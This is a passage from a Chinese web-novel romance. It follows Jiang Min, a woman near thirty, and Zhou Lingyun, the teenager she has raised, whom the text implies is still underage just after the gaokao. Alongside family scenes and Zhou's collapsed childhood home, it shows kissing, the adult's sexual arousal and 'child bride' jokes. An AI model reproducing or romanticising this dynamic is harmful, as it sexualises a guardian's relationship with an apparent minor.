在姜悯决定认真的时候,周灵蕴态度却油滑。 “亲亲啊,发生在朋友和亲人之间,我觉得蛮正常的,不需要学吧,这也要学?” 保持姿势不动,周灵蕴撑身上方,长发垂落堆积在姜悯睡衣领口。 夏装轻薄,那处大片袒露,无瑕的白和纯粹的黑。 “朋友或亲人之间的普通亲吻?”姜悯话音有自己都不易察觉的失落。 随后是压抑的愤懑和不甘,“你舌头进到我嘴巴里面,舌吻欸?你觉得我傻吗?我可从来没跟我老妈舌吻过,我老爸更不可能。难道你经常跟你奶奶舌吻?” 眼底闪烁起耀眼的晶亮,周灵蕴唇边笑容持续扩大。 “哦,原来不需要伸舌头的吗?那我跟你道歉,实在不好意思哦,还是学生,不懂。” 什么啊! 都什么跟什么啊! 姜悯脸都气歪,“不是,你到底什么意思。” 周灵蕴偏偏不让她如愿,懵懂眨眼,“什么什么意思啊,什么啊,喜欢姐姐才亲的嘛。” 给一颗甜枣,再给个巴掌,“看到长得好看的任何东西,都会忍不住去亲啊,比如喜爱小猫就会把它抱起来,使劲儿亲。” “那你怎么不跟小猫舌吻。”姜悯鼓腮。 “她舌头有倒刺。”周灵蕴理直气壮说。 姜悯快要气死了! 怎么你以为你舌头就没倒刺啦? “而且……”周灵蕴再度抿唇,目光垂落在她气血充足的小巧唇瓣,“姐姐装痛装晕,模样好乖地躺在我怀里,实在忍不住了。” “意思是我勾引你?”姜悯反应极快。 周灵蕴微笑颔首。 坦白讲,有点。于是姜悯沉默。 “心虚了?”周灵蕴坏心戏耍。 “放屁!”姜悯震声。 手机响,周灵蕴顺势起身,松开手掌。点到为止,过犹不及,她这次撤退得干脆。 蛋挞她们到店里了,问怎么没看见人。 “老板撞头了,我在帮她看。”周灵蕴回头观察某人反应。 老板大过天,蛋挞“哦哦”两声,刚才还隐隐有发火迹象,这会儿老实得,“那不急,你处理完事情,慢慢过来。” 挂断电话,周灵蕴伸脖,“她们在催了,我走了哦!” 姜悯抱膝蜷坐在沙发,背身看不清表情。 周灵蕴站门口琢磨会儿,终是抬步走向她。 弯腰,偏脸,看她眉间许多困惑不解,嘴唇却粉粉嘟嘟,少女感十足。 看起来真的很好亲啊。 周灵蕴背着手,刻意拉长音调。 “我走喽——” “去呗。谁不让你去。”姜悯浅送白眼,扒拉扒拉头发。 “最后亲一下。”极快的语速,周灵蕴凑近在她唇上一啄。 随后急促脚步声响起,门巨响,周灵蕴甚至连电梯都没搭,安全出口一路飞快下行,直到跑出楼道,小区平台上,双手撑腰大喘。 她手背贴脸,摸到自己好烫好烫,回想起唇舌交缠时那份绝妙滋味,浑身热到要爆炸! 姜悯也没好到哪里去,满屋尖叫乱窜。 小猫受惊,急吼倒腾四腿,冲去周灵蕴房间,躲去床底。 周灵蕴离开半小时后,姜悯求助舒颖。 思量许久,丢去三字。 [我湿了。] [?] [???] [??????] 舒颖如此回复。 姜悯上下滑动手机屏幕,才意识到自己说了什么。 [痒就拿拖鞋拍两下。] 舒颖说。 姜悯笑倒在沙发,随后仔细描述半小时前跟周灵蕴全部互动,洋洋洒洒,小一千字。 舒颖说:[并没有人问,好吗?] 好的。但谁在乎。 [我为什么会那样啊?] [哪样?] 文字似乎有了表情,姜悯有在想象舒颖坐在公司办公室咬牙切齿的样子。 [湿了?] 互相折磨,舒颖也不让她好过。 姜悯垂眸凝视对话框许久,破罐破摔。 [湿透,刚换了内裤。] 舒颖说不至于吧,只是亲一下而已。 [以前没自己试过吗?] [试过什么?] 姜悯奇怪。 好的,那就是没有。 [怪不得这么敏感。] [只是亲一下,而已。] [真那啥了,你不得流到脚后跟?] 姜悯恍然大悟。后知后觉,她羞耻心爆棚。 [你才流到脚后跟!] [我倒是想。]舒颖回答。 姜悯在沙发上翻跟头。 周灵蕴以往也常跟朋友聚餐,唱歌吃饭看电影,一套流畅走完,晚上九十点钟才到家,姜悯从来没干涉过。 近来,二人关系微妙,姜悯黏人程度也是与日俱增。 [我煮了面。] [你看,是你给我调制的碗底。] [好好吃,我自己又加了一把青菜。] 周灵蕴往下划拉,后面跟了三张图片,分别是沸腾的煮面锅,喷香四溢的肉酱面,以及连汤底都喝干的空碗。 [天呐!好棒!] [姐姐好棒,可以自己煮面了!] [而且你竟然会使筷子!] 周灵蕴相当捧场了。 蛋挞和万玉手握话筒,台上深情对唱,周灵蕴回复完消息,手机揣兜,看向一边默默嗑瓜子的小哑巴,话筒递过去,“你不加入吗?” 小哑巴面无表情看着她。 周灵蕴感到茫然,“咋了。” 小哑巴指了下自己,左右晃动手掌,随后手指在唇周画圈。 “对不起。”周灵蕴扶额,“我忘了。” 小哑巴摇头表示没关系。 姜悯十分钟后,收到周灵蕴发来的一条短视频。 光线暗昧的K厅包房,少女手抓话筒,闲坐在圆台高脚椅,晦冥环境以及低质的视频像素丝毫没有影响到她五官浓烈的存在感。 面对镜头,她略感到局促羞涩,等待歌曲前奏结束期间,几次忍不住,握拳低头笑。 周灵蕴的献唱曲目是许嵩的《你若成风》。 挺老的歌了,姜悯上学时候听的,没想到这么多年过去,还在被不停翻出来唱。 也是经典咏流传了。 歌曲旋律轻快甜蜜,双人对唱,周灵蕴独自完成,中途万玉上台想加入,被她一把推开。 也许是太过害羞,周灵蕴老是卡壳跑调,脸蛋涨得通红,脸埋进臂弯,蹲地上半天站不起。 录制视频的是小哑巴,手机拿得很稳,中途没有发出任何怪音。 蛋挞跑上台,抓话筒,“让我们掌声鼓励好吗?” 周灵蕴红着脸,最后还是吭哧吭哧唱完了。 视频末尾,是万玉的声音,模模糊糊,问你是在表白吗? 没有回答,播放结束。 两三分钟的视频,姜悯看了一个多小时,直到周灵蕴下一则消息弹出。 红油锅底,肉片,四只小手碰杯。 姜悯知道这家店,她带周灵蕴去过。所以没什么好嫉妒的。 周灵蕴情绪价值也给得足足。 [我说是姐姐带我吃过的。] [她们都羡慕我命好。] [很好吃,都是姐姐上次推荐的菜。] 孺子可教也。 姜悯点头表示赞许,屏幕上滑,继续看视频。 是表白吗? 隐匿于日常分享。 姜悯根本没心思回复周灵蕴消息,视频看了一百遍啊一百遍。 不是说她的朋友们长得不好看的意思,但周灵蕴确实太显眼,五官立体,冲击感强烈,个头也是最高,手脚修长,一颦一笑,明媚动人。 万玉长得挺可爱的,小小圆圆的。 蛋挞嘛,气质是不错,但脸上妆太浓,这么多年,姜悯一直不知道她真实长相。 情人眼里出西施?姜悯只能看到周灵蕴。 好漂亮啊,她的小猫长得好漂亮,是待熟的樱桃,尚未采摘,已经可以预想到咀嚼时口齿间迸发出的酸甜滋味。 如果,我是说如果…… 姜悯暗自沉吟,这样明媚活泼的女孩子,是她女朋友的话,她一定每天都会过得非常开心的吧? 如果,再如果。 这样明媚活泼的女孩子,其实已经暗恋她好多年,只是碍于二人年龄差距和学业,不敢显露心意,终于在高考结束后鼓起勇气向她表白…… 那她是答应呢?还是答应呢? 还是答应呢。 姜悯望天流口水—— 作者有话说:迅疾菇,营业ing 第64章 三十女人猛如虎豹 晚十点, 周灵蕴同蛋挞和万玉分别,搭地铁回家,在出站口附近一条小巷子给姜悯买了两串烤面筋和一个小西瓜。 她会打野了, 给姐姐带吃的呢。周灵蕴穿过斑马线,人行道上快快走着, 忍不住, 几次闷头傻笑。 其实她那时候没想跟姐亲嘴,担心被骂是一方面, 亲完怎么办?如何收场? 说起来,得感谢蛋挞那通电话,提醒她了。 亲完就跑,妥妥的。 走进小区平台, 楼下抬眼望,周灵蕴瞅见阳台灯亮着。 她可以通过光线的强弱程度,判断出姜悯夜间的居家状态。 心情不错,主卧,客厅还有阳台灯都是一并亮着的。人窝在沙发看电视, 脚边趴只小猫。 要是不开心, 灯也黑, 卧室窗帘一拉, 黑咕隆咚。 今日显然是前者。周灵蕴加快脚步,进电梯刷卡。 门启,周灵蕴探头越过玄关往里瞧。 女人侧身横卧在沙发, 姿态慵懒,综艺节目罐头笑声热闹填充空间,她随性捧场,哂出短促音节。 周灵蕴提着东西进去, 小猫正打盹,听见动静,扭头往这边看了眼,跳下地,两条前腿朝前伸直,压压腰,再拱背打个哈欠,走到她脚边,脑袋蹭蹭裤腿,“咚”一声摔。 “你想我啦!”周灵蕴放下东西,蹲地上跟她玩了会儿。 被冷落的某人极其不快,“几点了,你还知道回来啊。” 周灵蕴放开小猫,去卫生间洗了个手才把吃的拎过去。 “喏,给你带的宵夜。” “我是谁啊。”姜悯不动,瞪她。 “你是姜大炮。”周灵蕴蹲在茶几边,隔着塑料袋,一拳下去,西瓜打裂。 “哇偶——”她扬眸,眼底光芒耀闪,充满对自己的崇拜和赞赏,“是我太厉害了,还是瓜太脆。” 姜悯腾地坐起,“干什么?吓唬我,我要是敢找茬,就一拳把我脑袋打爆的意思,是吗?” 周灵蕴摔坐在地毯,脸埋进臂弯,笑。半晌她抬头,眼底星光依旧,“非要这么理解也行。” 姜悯哼声抓来包装袋,“我先吃东西,凉了味道不好,吃完再跟你算账。” 周灵蕴双手撑腮,就坐那看她,“要跟我算什么账呢,问我为什么亲你吗?” 回来的路上,周灵蕴仔细想过,姜大炮胆小鬼,才不敢问。这事扯起来没完,真追究,结论是什么呢。 要她负责吗?谈恋爱吗?做她女朋友吗? 果然,姜某人卡住了,叼着面筋愣愣眨眼。 “先吃。”周灵蕴大发慈悲先放过她,“我去洗澡。”留时间给她慢慢想。 蛋挞下午向她传授了钓鱼经验,说巴掌和甜枣交替着来,甭管哪个前哪个后,你照着公式去做,准没错。 ——“亲完之后,晾晾她,她自己憋不住会来找你的。” “你平时也这么对小哑巴吗?”周灵蕴当时问道。 蛋挞摇头,说小哑巴乖得很,她这些套路都是用在外人身上。 “直播间那些姐啊哥啊的嘛……赚钱喽,不丢人,再说我也提供情绪价值了。” 小西瓜和烤面筋算甜枣了吧?该给巴掌了。 周灵蕴洗完澡直接进房间,床上一躺,美滋滋等着。 姜悯吃了半个小西瓜,剩下半个套了保鲜膜丢冰箱,盥洗台前含着牙刷,拧眉琢磨会儿,跑去周灵蕴房间门口,耳朵贴门缝听。 啥动静也没有。 干啥呢?姜悯门前踱步,焦躁难耐,终于还是压下门把。 “还剩半个小西瓜,你吃不?”她装得挺像那么回事的。 周灵蕴躺床上看书,闻言抬头,“不吃,我晚上吃太饱了。” “哦,那我放冰箱了。”姜悯转身走开,门敞着。 脚步声远去,周灵蕴心快跳到嗓子眼,赶紧把膝头翻开的书本调个。 她拿反了! 姜悯假模假式开冰箱,关冰箱,小猫跟在她脚边,“喵呜喵呜”个不停。 “你好馋啊!”她弯腰把小猫抱起,手指轻点她鼻头,超小声,“跟我一样馋哦,随了你老妈喽,我才是你亲妈对吧,我把你带回来的。” 却不料周灵蕴闻讯赶来,“不能给她吃,上午才喂过罐头,整天吃零食,猫粮都不吃,给她惯坏了。” 姜悯冲小猫遗憾瘪嘴,“你姐不让吃。” 回头一琢磨,不对啊,不能叫姐,差辈了。 等人走了,姜悯拎起小猫耳朵,“刚才的话你就当没听见。我是亲妈,她是后妈,不给你猫条和罐罐吃的是后妈,记住没?” “喵呜——”小猫说。 姜悯挠挠她下巴颏,“真乖。” 然后呢?没人性的后妈就走掉了?话说一半撂那不管。 姜悯抓个抱枕搂怀里,沙发上坐了会儿,还真想到个主意。 拉罐头的声音把小猫和小猫养的小猫一起钓过来。 小猫养的小猫贴在人脚踝不住蹭,喵呜喵呜叫,小猫叉腰,“刚还说不准喂,你答应得好好的,结果转头就给她开罐头!” 姜悯把罐头倒进猫碗,又去接了些水涮,拿根牙签在碗里搅,骗猫喝水。 “小猫生命短暂,干嘛对她那么苛刻?她想吃就给她吃好了。” “她嘴养刁,就不吃猫粮了。”周灵蕴说。 “那正常,跟我一样。”姜悯把空罐罐丢进垃圾桶,洗手。 周灵蕴站在走廊,背抵墙,抱着手看她。 “你哪样了。” 姜悯湿着手,五指收拢,再蓄力一弹。 没躲,周灵蕴本能闭眼。 “你说我哪样?”姜悯站到她面前,呼吸交融的距离,口腔清凉的薄荷气。 耳廓充血,周灵蕴垂睫,不敢对视。 “干嘛亲我?”姜悯音色变得幽沉。她承认自己失守,沉不住气了。 她冰凉湿润的指尖点点剐蹭去周灵蕴脸颊水珠,整个手掌慢慢覆盖上,“别跟我扯什么一家亲,否则你下次的舌吻对象,不是我妈就是你奶奶。我说到做到,我按头亲。” 画面太美,周灵蕴笑到弯腰。 “不要虐待老人。” “那只能虐待小孩了。”姜悯两指捏住她下颌,迫使她正视自己,“给我一个合理的解释。” “你嘴长得好看。”周灵蕴半阖眼,破罐破摔。 实话,姜悯唇形漂亮,鲜艳饱满,一看就气血足。高考结束,她紧绷的神经也跟着放松下来,最近心情不错,没少吃,瞧着丰腴了些。 说句不要脸的,蛮性感。 日常相处中,避无可避,周灵蕴脑海中闪现出姜悯起伏有致的腰臀线条。 然而导致她眼神变得迷离的,是此刻,面前女人宽松睡裙下隐现的沟壑。似有香气袅袅钻进鼻孔,毒素麻痹神经。 “长得好看就能随便亲吗?”姜悯叉腰,打定主意要跟她掰扯到底了。 深吸气,周灵蕴把头转到一边,耳廓红烫蔓延至双颊。 “那你要觉得吃亏,你就亲回来。” 姜悯微微瞠目,她大为震撼,“我为什么要奖励你?” 周灵蕴偷偷摸摸举起一只手,反捂嘴笑。 “说话!笑什么。”姜悯给她一拳。 痛,周灵蕴改捂胳膊,把嘴放出来,不自在咬唇。 “不奖励,那你惩罚我。” “怎么惩罚。”姜悯问。 “咬我。”周灵蕴憋笑。 什么?姜悯稍退半步,严肃审视,“刮目相看了啊,你现在一套一套的,我都玩不过了。” “哦是吗?”周灵蕴轻点头,“玩什么,不是很懂欸——” “玩你个头!”姜悯弹她脑瓜崩。 周灵蕴痛叫,捂住额头,“家暴女,我要把你扭送到公安局。” 姜悯顺着她话往下走,“然后呢,到了公安局怎么说,我是你的谁,什么身份家暴你。” 妻子?周灵蕴被脑瓜里本能冒出来的这个词汇逗笑。 她身体侧向一边,贴墙滑坐至地板,发出桀桀怪笑。 “喂!起来。”姜悯揪住她衣领,煎熬到极点了,“快点,你给我拍那个视频什么意思,你想表达什么。” 等待周灵蕴聚会结束期间,姜悯在音乐app搜索出歌曲,歌词翻来覆去看了一百遍。 什么你成风我成雨,要守护在身边,一笑为红颜。 好肉麻,还叫她小乖乖……唱到那句的时候整个人简直要红到爆炸! “讲啊,你讲清楚啊。”姜悯两手揪住周灵蕴睡衣领,前后疯狂摇晃。 周灵蕴稍敛表情,抿嘴平复几秒,“就是很普通的一首歌啊,担心你自己在家无聊,单纯分享日常而已。” “是吗?”姜悯看着她。 “不然呢。”周灵蕴掰开她手指,“衣服给我扯变形了都。” 姜悯立即垮脸。她心里想什么,明明白白写在脸上,不用猜的。 看起来真的超不爽的。周灵蕴暗笑。 两个人打得有来有回。 “那不然呢,还能有什么,你不会以为我在跟你表白吧?” 学坏了学坏了。周灵蕴一面谴责自己,一面继续火上浇油,“我还是小孩呢,真要报恩也得等我成年吧。还是你已经等不及了?” 挣脱桎梏,周灵蕴撑墙站起,扯正衣领,手握拳揉揉笑酸的腮帮,视线回落在姜悯乌黑的发顶,“不过嘛,确实有听过一句老话……” 姜悯倏地抬脸,怒视,预感到着小孩嘴里没憋好屁。 “三十女人猛如虎豹。” 连周灵蕴自己都不相信,这种话能从她嘴里说出来。 不过是蛋挞教的。 这是姐与姐之间的隔空对决。 “周灵蕴!”被戳中肺管,姜悯暴怒,猛地弹起,双拳架在身后,“我还没三十,我没有!” “也快了。”周灵蕴淡声。 姜悯握拳要打,周灵蕴拔腿就跑。 其实她还有一句没讲。 我也是。 我也很快就长大了。 第65章 命运的《孙子兵法》…… 周灵蕴全心全意备战高考阶段, 老家那块下暴雨,山洪引发泥石流,受灾严重。 山顶上那栋老屋, 是周灵蕴的家。当初选址时,听奶奶说曾请风水先生仔细勘看过, 先生说是个藏风聚气、福泽绵长的好地方。 确实, 几代人居于此,虽清贫, 倒也安然无恙。只是五六十年风雨侵蚀下来,木料早已被岁月蛀空,显露出衰朽的疲态。 老太太那阵子住在山下,操心孩子高考又不敢打电话问, 心里火烧火燎的,有好一阵没往山上去,不知道自己家房子塌了,还是好心邻居专门跑过来同她讲。 周灵蕴回家上山一看,果然。 昔日炊烟袅袅的农家小居, 如今只剩下一片狼藉的断壁残垣。 堂屋那块屋顶整个塌陷下去, 断裂的梁木和破碎的黑瓦混杂着湿漉的泥土, 好像某种大型动物的骸骨, 暴露在雨后初晴的惨淡天光下。 地基还算牢固,是支撑堂屋的几根主梁被白蚁吃空,经不住连日暴雨的浸泡和冲刷, 终于轰然倒塌。 “还好当时家里没人。”这地方姜悯来过两次,虽谈不上多深的感情,好好一栋房子,转眼成了废墟, 心里多少有点难过。 老太太捡个烂扫帚,闲不下,家都没了,空地上还有一搭没一搭挥着。 她面上沟壑纵横,眼神却意外平静,应是早过了最伤心的那个阶段。 “乖宝考上大学了,祖宗保佑的。”老太太絮絮叨叨,像在解释,又像是宽慰,“祖宗攒下的功德用完了,不然咋偏偏是堂屋那块…… 那是供奉祖宗牌位的地方嘛……” 乡间特有的宿命论,一切人力之不可为都归结为冥冥之中的气数。 “她凭本事考的,跟祖宗有啥关系。” 姜悯从角落扒拉出个小板凳,拍掉上面的灰土,水泥院坝里坐。 老太太闻言停下动作,手舞足蹈,激动比划说遇到你就是她乖宝最大的福气。 “老周家地底下的祖宗一齐使力,棺材板都拼细碎,才求来你这样的贵人护着她。” 姜悯笑倒。 行吧,行吧,她不跟封建老太太多掰扯。这是老人表达情感和解释世界的独特方式。 周灵蕴踩着倾斜的屋顶爬上去,小心翼翼挪动着,湿漉的断木碎瓦间摸索,最后掏出个铁皮盒子。 圆形的曲奇盒子,表面布满暗红锈斑,边角也磕碰变形,但整体还算完整。 这盒曲奇,是她妈最后一次回家看她时候给她带的。珍贵又遥远的滋味。 她舍不得一次吃完,每天放学回来,当作饭后甜点,轻轻咬上一小口。奶油曲奇香甜酥脆的味道,是她童年为数不多关于甜的记忆。 一块曲奇分四口吃完,她吃了好几个月,吃到最后,饼干都受潮哈味儿了。 盒子密封性挺好,里面的东西没怎么受潮,几张褪色的老照片安静躺在里面。 周灵蕴小学入学时,奶奶带她在镇上照相馆拍的呆板寸照;祖孙俩在“天安门”前拘谨的合影;更多是学校每年六一儿童节的集体照,一张张小脸挤在一起,笑容天真烂漫…… 两颗脑袋凑在一起翻看,姜悯从一堆旧物中拾起一枚小小的,花纹粗糙的观音玉佩,“你还有这种好东西呢?” “塑料的。”周灵蕴接过来,把玉牌放在旁边一块相对干净的空地上。 “放太阳底下晒会儿,然后你捂在手心里看,会发光。” “夜光玉佩啊!”姜悯大笑。 周灵蕴所有重要的东西都收在盒子里,盒子还在,她的童年就永远不会真正消失。 她抱着铁盒起身,环顾这片废墟。 房子是有灵的,人在的时候,无论它是多么的破旧腐朽,也挺直脊梁,努力为归家的人们撑起一片遮风挡雨的屋檐,无言分享着主人的贫瘠与富足。 人走了,它的使命完成,累了,倦了,也安然地躺下,沉沉睡去了。 这倒塌,是一场沉默的告别仪式。 周灵蕴抱着那个沉甸甸的铁盒,也抱着自己沉甸甸的过去,空旷的院坝里站了很久很久。 山风吹过,掀起她额前碎发,带着雨后泥土和草木的气息。 她安静凝视许久,最终转身,朝山下走去。 赖头村今年夏天塌了好多房子,村委另找了地方安置大家,奶奶没去,说自己没几年的活头了,懒得折腾。 周灵蕴以后回来也不住山上,她是姜悯的小跟班,姜悯住哪儿她住哪儿。 下山的路,周灵蕴走得特别慢。 她猜想,这可能是最后一次走这条路了。这条蜿蜒曲折,承载她无数次奔跑、跳跃、欢笑与泪水的山路,这条连接着她懵懂童年和未知未来的路,正被她一步步留在身后。 风依旧,吹拂过树梢和草尖,沙沙轻响在为她送行。 关于周灵蕴报考的学校和专业方向,姜悯从头到尾没干涉过,周灵蕴自己挺有主意,她说想学园艺,毕业了回老家进茶厂打工。 “人呐,终其一生,都在追求自己少年时那份爱而不得……” 她横躺在沙发,嗦一根绿豆冰棍,说完低低咳嗽两声,撑肘半坐起,瞄眼对面姜悯。 谷香岚坐在旁边打毛线,想给周灵蕴织一件秋天的毛衣,不时扯她过来,身上比划。 “你的爱而不得就是小时候没能去茶厂打工哇?” 周灵蕴说“对啊”。 姜爸认真分析她专业将来的就业方向,说挺好的,技术人才。 “我看了下你们学校课程,什么生物学,遗传育种,栽培……还有经营管理,不错。” 姜悯默默划拉会儿手机,起身回房,站房间门口,“你过来。” 周灵蕴把嗦干净的雪糕棍扔垃圾桶,趿着拖鞋慢吞吞走过去。 “进来。”姜悯命令道。 周灵蕴走进去关上门,没骨头似,床面上仰身一倒,展开双臂,“要杀要剐,来吧。” 姜悯踢了下她小腿,“起来。” 周灵蕴不情不愿爬坐起,双手反撑床面,无聊晃晃脑袋,“要干嘛?” “什么叫‘终其一生,都在追求自己少年时那份爱而不得’?”姜悯叉腰站她面前,冷着张脸。 “我说自己啊,我想进茶厂打工,你说我未成年,不让的嘛,现在我考上大学,就业方向对口,将来毕业就可以名正言顺进去打工喽——” 周灵蕴有理有据,话里挑不成毛病,姜悯却总觉得哪儿哪儿不对味。 姜悯走去靠窗那张小沙发上坐着,双手圈住自己的膝盖。 这么多年了,她房间那本《孙子兵法》竟然还在,春梅常来打扫,书封不见落灰,崭新。 周灵蕴侧躺在床,手撑额默默盯她一阵,起身来到她面前,身体整个朝她滑倒,把自己完整的一片贴在她身前。 姜悯被迫展平双腿,方便容纳,满腹不快,手臂却有自己的意识,虚虚环抱。 少女腰肢窄瘦,她手掌按压在凸起的脊骨,两侧背肌韧而纤,脂肉柔软。 她每一次靠近,都让人难以抗拒,身体某处热涌。 姜悯深吸气,偏过脸,“做什么。” 周灵蕴不说话,小口小口亲她的脖子,姜悯毫无防备,低低一声吟。 受到鼓舞,周灵蕴沿她轮廓清晰的颌角一路往上,亲吻耳朵。 姜悯急促一声喘,手捂住周灵蕴嘴唇,低声警告,“我们在家!” 门没反锁,随时有人会开门走进来。 眼底狡黠明亮,周灵蕴湿软的舌尖,舔舐她掌心。 姜悯触电般撤回手掌,五指死死攥拳,目光惊疑不定。 这小孩疯了吧! 假装什么也没发生,周灵蕴装乖,手臂圈紧姜悯腰肢,头靠在她肩膀,小声打起呼噜。 “要死啊你!”姜悯羞怒未平,松开手捶她后背。 “稍微下面点。”周灵蕴倒享受起来了,“顺便给我抓抓痒。” 姜悯手往下够了够,才注意到周灵蕴今天穿的裙子。 棉质,素色没有一丝花纹,圆领,过膝。 怀中人呼吸绵长,痒痒扫拂在脖颈,气息甜美安静。姜悯手僵在半空,脑中掀起惊涛巨浪。 她扶正周灵蕴肩膀,“你什么时候买的这条裙子?” “咋了。”周灵蕴声线懒洋洋。 她的避而不答,让姜悯胸腔某处瞬间塌陷一块,紧跟着,鼻息变得紊乱,“我记得,你不喜欢这种风格。” 周灵蕴扯起衣领低头瞄了眼,“我觉得挺好看的,裙摆有刺绣,很淑女,我跟蛋挞她们逛街时候在商店看到的,一见倾心。” 重点当然不是裙摆的刺绣,姜悯却不敢多问。 头脑一片浑噩时,有人推门而入。 “哎呦喂!”谷香岚紧急后撤,却把门大敞着,生怕自己看不清。 见沙发上重叠的两个人衣衫完好,她才笑呵呵走近,“老太太做了茴香糯米饭,我来问问你们要不要吃。” “我要吃茴香糯米饭!”周灵蕴火速爬起,欢呼嚎叫着离开房间。 谷香岚笑着拍拍她肩膀,等人走远,合拢门进到房间,姜悯身边坐下。 “我看你俩关系越来越好了,刚才还担心你们吵架呢,说进来看看,结果倒好,搂搂抱抱的原来是不方便当着我们这些外人。” 小孩长大了,谷香岚看出两人之间漂浮着的若有似无的粉红泡泡,“养了这么些年,小童养媳真要侍寝了,什么感受?” “别胡说八道。”姜悯扯正衣领,坐直身体,顺手捞起小茶几上那本《孙子兵法》,从中翻开。 [第三十三计——反间计] [以其人之道,还治其人之身。] 她啪一声合拢书本,命运的《孙子兵法》正中眉心—— 作者有话说:迅疾菇到岗!(立正) 第66章 你就会欺负我 这是周灵蕴目前人生中, 过得最为充实且惬意的一个夏天。 山上老房子塌了,奶奶不再惦记着回去收拾擦洗,早起洗漱完, 院里架上收音机,先做套保健操。 谷香岚女士是老太太手下得力干将, 每日风雨无阻, 雷打不动。 姜爸偶尔参与,春梅则躲得远远, 说她还没到更年期呢,唯恐沾染得一身老人味儿。 念念放暑假,秦穗把她送过来,自己留城里打工。 带小小孩的重任落到周灵蕴身上。周灵蕴每天爬坡上坎, 踏河踩溪,念念跟她屁股后面,才几天就黑得没了本样儿。 秦穗忙完过来看女儿,小小孩提个水桶在路边水渠里捞小鱼,她从旁经过, 竟然没认出来。 小小孩每天吃得多拉得多, 四处跑跳, 人虽是黑了些, 瞧着特精神,两眼出奇的亮。 早上吃面,她抱个比自己头还大的碗, 吭哧刨完,横臂一抹嘴,跳下板凳,热烘烘的小身子挨到周灵蕴身边, “咱们今天上哪儿玩啊?” 秦穗一把将她扯过,“暑假作业写多少了?” 她白眼一翻,假装晕倒,趴在妈妈大腿。 秦穗两手卡住她咯吱窝,就这么提拽着。 “别跟我装。姐姐考上大学了,你呢,你将来要不要考大学。吃完饭先给我把作文写了,我看你玩了那么久,素材挺丰富的,就写你每天跟姐姐出去玩……” 连姜悯都受不了。 “太压抑了,这个家太压抑了。” 秦穗说你不懂,“她不老实,别看小模样长得乖,其实诡诈得很,一肚子坏水。” 念念被秦穗押去房间写作业,周灵蕴也终于能歇口气,饭后回房跟朵朵和梓涵开黑打游戏。 姜悯不说话,旁边转悠来转悠去,不时伸个脑袋看周灵蕴战绩。 小孩喜欢玩打野,称自己为“独行侠”,但极为热心,常“路见不平拔刀相助”。 但她绝不是白干,拿不到人头就死赖吃兵线,把自己养得肥头大耳,逆风局最热衷草丛蹲,闪现抢大龙。 抢不到就找地方自己回城,或等复活。不知道“尴尬”二字咋写。 姜悯旁边“啧啧”没完,“言传身教啊,我可算知道念念跟谁学的。” 周灵蕴禁用完毕,等待对局开始,抬头一挑眉,“那我跟谁学的?” “谁知道你的。”姜悯脚尖一旋,发尾轻盈扬起,摔坐沙发,手机掏出来,音量开到最大。 ——“Excellent!” ——“Crazy!” ——“Unbelievable!” “谁在玩消消乐?”朵朵问。 “对啊,好吵。”梓涵说她都听不见游戏音效了。 周灵蕴咳嗽了声,“我老板。” 朵朵笑,“那没事了。” 对局结束,梓涵私聊周灵蕴。 [感觉你老板真的很想跟你玩。] [带她一起吧。] 周灵蕴回复“稍等”,放下手机,爬下床姜悯面前竹竿似那么一竖,“来一起啊,开黑。” “我?”姜悯指着自己鼻尖,故作懵懂。 周灵蕴点头,“我带你躺。” 馋样儿没藏住,姜悯嘴角快咧到耳朵根,她还努力压抑声线,“那我上号。” 周灵蕴握拳藏笑。有点可爱是怎么回事? 十分钟后,她笑不出来了。 “姐,咱能别送了吗?” 姜悯脸蛋涨得通红,“我没送,是对面那个贱人啊!他瞄准我,专打我。我明明看他在上路带线的,不知道咋回事,突然就从草丛里冒出来打我。” 周灵蕴眉头拧得死紧,“你跟着我。” 姜悯用力点头,“好。” 半分钟后,周灵蕴丢开手机。朵朵声音幽幽传来,“给人送双杀喽——” “好累。”周灵蕴仰望天花板。 老被说,姜悯也很不爽,“你不是说带我躺吗?你带啊,你振作起来啊。” 周灵蕴有气无力抓起手机,“我又不是职业选手,而且对面也很厉害。” 很快局势反转,姜悯惨遭队友问候全家。 其余三人当然不能坐视不理,开启全队语音,说起了群口相声。 队友双拳难敌四手。 [你们四个是一起的?带妹干嘛不再找个人五排呢,来坑我。] 朵朵说找不到了,人缘不好。 梓涵说你只能怨自己倒霉。 五局一胜,朵朵跟梓涵说要出门了,周灵蕴应好,刚领完奖励,好友列表一看,这两个家伙自己组队新开一局。 [也背着点人好吗?]周灵蕴私聊。 越想越气,忍不住再发:[是你们说让我带老板一起的。] 老板还不高兴呢,沙发上蹲着,一只气鼓鼓的河豚,“还说带人家躺,没本事,就怨我。” “给你发了一百个信号,打野来抓你了,自己不知道躲,眼不做,还压那么深!” 周灵蕴五指收拢,比个圈,“意识为零,你意识为零。” “那没办法,我人就零。”姜悯理直气壮。 周灵蕴还要再训,忽而抿唇,没声儿了。 她现在不是刚从乡下进城的小土妞了,她懂挺多的。 “说话呀!”姜悯大声。 “我无话可说。”周灵蕴仰倒在床面,两腿挂在床沿,今天换了条裙子,却跟昨天那条差不多的款式,白色。 什么时候买的?姜悯眯眼。 还有,是家里空调开太足了吗?姜悯发现她好像很久没扎过头发了。长的黑发两肩披散,她闷声不讲话的时候,几乎与照片上某人影像完全重叠。 什么时候开始的?姜悯毫无所觉。 “你去把衣服换了。”懒得探究,姜悯直接命令道。 周灵蕴翻身侧躺,手撑额,斜眼睨,“为什么换衣服。” “我不喜欢你穿白色。”姜悯答。 周灵蕴“切”一声,“我管你喜欢什么颜色,我想穿就穿。” “你搞我是吧?”姜悯起身,神情少有的严肃,“我接你回来,这几年,从头到尾,有要求过你什么吗?要求你必须打扮得跟谁一样吗?” 讲不好是妒忌,还是别的什么,周灵蕴不想惹她冒火的,但心里总有口气怎么都咽不下去。 “跟谁一样?我现在就喜欢这个打扮,文静贤雅。我考不上年级第一,没办法,我家人智商都低,但祖宗给了我一副好皮囊,我当然要利用起来,助我飞黄腾达,平步青云。” 是迟来的叛逆期吗?周灵蕴一直很乖的。 姜悯眼底布满不可置信的惊痛,“你到底在说什么?好日子过够了是吧。” 本不想提,既然话说到这份上,周灵蕴猛地弹坐起,“你当真问心无愧?那上周去看她,为什么不带我一起?” “我看谁?”姜悯底气不足,声线渐弱。 周灵蕴鼻腔嗤出一声冷笑,“你看谁,你自己知道。” 黑裙黑衣,连鞋袜都是黑色,每年夏天,姜悯都以出差为借口,消失个两三天。 姜悯脸色惨白,她自以为隐藏得天衣无缝。 